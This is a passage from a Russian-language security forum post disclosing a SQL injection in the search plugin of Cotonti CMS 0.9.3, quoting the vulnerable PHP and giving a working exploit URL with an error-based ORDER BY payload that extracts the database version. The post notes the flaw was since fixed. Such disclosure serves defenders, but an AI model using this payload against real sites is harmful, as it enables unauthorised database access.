$defret str_replace('<''&lt;'$v);
            }
            break;
    }
    if (
$pass)
    {
        return 
$v;
    }

File: /plugins/search/search.php
PHP код:
$rs $_REQUEST['rs'];
...
$rs['pagsort'] = cot_import($rs['pagsort'], 'D''TXT');
$rs['pagsort'] = (empty($rs['pagsort'])) ? 'date' $rs['pagsort'];
...
        
$sql $db->query("SELECT SQL_CALC_FOUND_ROWS p.* $search_join_columns
            FROM 
$db_pages AS p $search_join_condition
            WHERE 
$where
            ORDER BY page_"
.$rs['pagsort']." ".$rs['pagsort2']."
            LIMIT 
$d, ".$cfg['plugin']['search']['maxitems']
                .
$search_union_query); 
Описание:
Данные из переменных frmsort и pagsort попадают в запрос без экранирования и вне кавычек как часть названия столбца для сортировки.
Аналогично предыдущей уязвимости получается SQL Injection после ORDER BY.

Эксплуатация:
Код:
http://cotonti-0.9.3/plug.php
?e=search
&sq=%%%
&rs[setlimit]=0
&rs[day]=22
&rs[month]=7
&rs[year]=2010
&rs[day]=22
&rs[month]=7
&rs[year]=2011
&rs[setuser]=
&rs[pagsub][]=all
&rs[pagtitle]=1
&rs[pagdesc]=1
&rs[pagtext]=1
&rs[pagsort]=date
&rs[pagsort2]=ASC
&rs[frmsub][]=all
&rs[frmtitle]=1
&rs[frmtext]=1
&rs[frmsort]=updated,(select min(0) from information_schema.tables group by concat(version(),floor(rand(0)*2)))
&rs[frmsort2]=ASC



UPDATE:
Исправлено в текущей версии
https://github.com/Cotonti/Cotonti/issues/674

Последний раз редактировалось BlackFan; 22.07.2011 в 22:45..
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot